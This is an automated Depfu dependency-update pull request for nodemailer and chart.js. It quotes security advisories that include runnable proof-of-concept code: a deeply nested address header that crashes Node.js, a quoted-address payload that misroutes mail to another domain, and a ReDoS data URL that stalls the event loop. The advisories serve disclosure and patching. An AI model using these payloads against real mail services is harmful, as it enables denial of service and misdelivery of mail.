🚨 [security] Update nodemailer 6.3.1 → 7.0.11 (major)

[depfu]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ nodemailer (6.3.1 → 7.0.11) · Repo · Changelog

Security Advisories 🚨

🚨 Nodemailer is vulnerable to DoS through Uncontrolled Recursion

A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.

🚨 Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls

Summary

A DoS can occur that immediately halts the system due to the use of an unsafe function.

Details

According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.
At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:

g0: g1: g2: g3: ... gN: victim@example.com;

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
addressparser → _handleAddress → addressparser → ...
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:

if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}

data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC

const nodemailer = require('nodemailer');
function buildDeepGroup(depth) {

let parts = [];

for (let i = 0; i < depth; i++) {

parts.push(g${i}:);

}

return parts.join(' ') + ' user@example.com;';

}
const DEPTH = 3000; // <- control depth

const toHeader = buildDeepGroup(DEPTH);

console.log('to header length:', toHeader.length);
const transporter = nodemailer.createTransport({

streamTransport: true,

buffer: true,

newline: 'unix'

});
console.log('parsing start');
transporter.sendMail(

{

from: 'test@example.com',

to: toHeader,

subject: 'test',

text: 'test'

},

(err, info) => {

if (err) {

console.error('error:', err);

} else {

console.log('finished :', info && info.envelope);

}

}

);

As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

Impact

The attacker can achieve the following:

1. Force an immediate crash of any server/service that uses Nodemailer
2. Kill the backend process with a single web request
3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

🚨 Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@internal.domain
Using the following code to send mail

const nodemailer = require("nodemailer");
let transporter = nodemailer.createTransport({

service: "gmail",

auth: {

user: "",

pass: "",

},

});
let mailOptions = {

from: '"Test Sender" <your_email@gmail.com>',

to: ""xclow3n@gmail.com x"@internal.domain",

subject: "Hello from Nodemailer",

text: "This is a test email sent using Gmail SMTP and Nodemailer!",

};
transporter.sendMail(mailOptions, (error, info) => {

if (error) {

return console.log("Error: ", error);

}

console.log("Message sent: %s", info.messageId);
});
(async () => {

const parser = await import("@sparser/email-address-parser");

const { EmailAddress, ParsingOptions } = parser.default;

const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);
if (!parsed) {

console.error("Invalid email address:", mailOptions.to);

return;

}
console.log("Parsed email:", {

address: ${parsed.localPart}@${parsed.domain},

local: parsed.localPart,

domain: parsed.domain,

});

})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"xclow3n@gmail.com x"@internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

Impact:

• Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

• Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

• Potential compliance issue: Violates RFC 5321/5322 parsing rules.

• Domain based access control bypass in downstream applications using your library to send mails

Recommendations

• Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

• Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

🚨 nodemailer ReDoS when trying to send a specially crafted email

Summary

A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.

Details

Regex: /^data:((?:[^;];)(?:[^,])),(.)$/

Path: compile -> getAttachments -> _processDataUrl

Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/

Path: _convertDataImages

PoC

https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6
https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698

async function exploit() {
   const MailComposer = require(\"nodemailer/lib/mail-composer\");
   const MailComposerObject = new MailComposer();
// Create a malicious data URL that will cause excessive backtracking

// This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack

const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';
// Call the vulnerable method with the crafted input

const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });

}
await exploit();

Impact

ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.

🚨 Header injection in nodemailer

The package nodemailer before 6.6.1 are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.

🚨 Command injection in nodemailer

This affects the package nodemailer before 6.4.16. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ chart.js (2.9.1 → 2.9.4) · Repo

Security Advisories 🚨

🚨 Prototype pollution in chart.js

This affects the package chart.js before 2.9.4. The options parameter is not properly sanitized when it is processed. When the options are processed, the existing options (or the defaults options) are deeply merged with provided options. However, during this operation, the keys of the object being set are not checked, leading to a prototype pollution.

Release Notes

2.9.4

This is the last release of v2 and focused on fixing bugs identified in the v2.9.3 release.

Bugs Fixed

• #7404 - Preserve prototypes when cloning. Thanks @iddings
• #7587 - Fix docs for external moment.js. Thanks @mojoaxel
• #7853 - Fix box recursion when dimensions are NaN. Thanks @alessandroasm
• #7883 - Fix call stack exception when computing label sizes. Thanks @silentmatt
• #7918 - Prevent global prototype pollution via the merge helper
• #7920 - Use Object.create(null) as merge target, to prevent prototype pollution

2.9.3

Bug Fixes

• #6698 Fix undefined variable
• #6719 Don't make legend empty when fill is false

Thanks to the maintainers and collaborators for their help to improve and test Chart.js (@kurkle, @benmccann, and @etimberg).

2.9.2

Bug Fixes

• #6641 IE11 & Edge compatible style injection
• #6655 Backwards compatible default fill for radar charts
• #6660 Improve clipping of line charts when border widths are large
• #6661 When a legend item is clicked, make sure the correct item is hidden
• #6663 Refresh package-lock file to pick up new dependency

Performance

• #6671 Stop unnecessary line calculations

Documentation

• #6643 Combine performance documentation sections

Thanks to the maintainers and collaborators for their help to improve and test Chart.js (@nagix, @kurkle, @benmccann, @etimberg and @simonbrunel).

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🗑️ emoji-regex (removed)

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)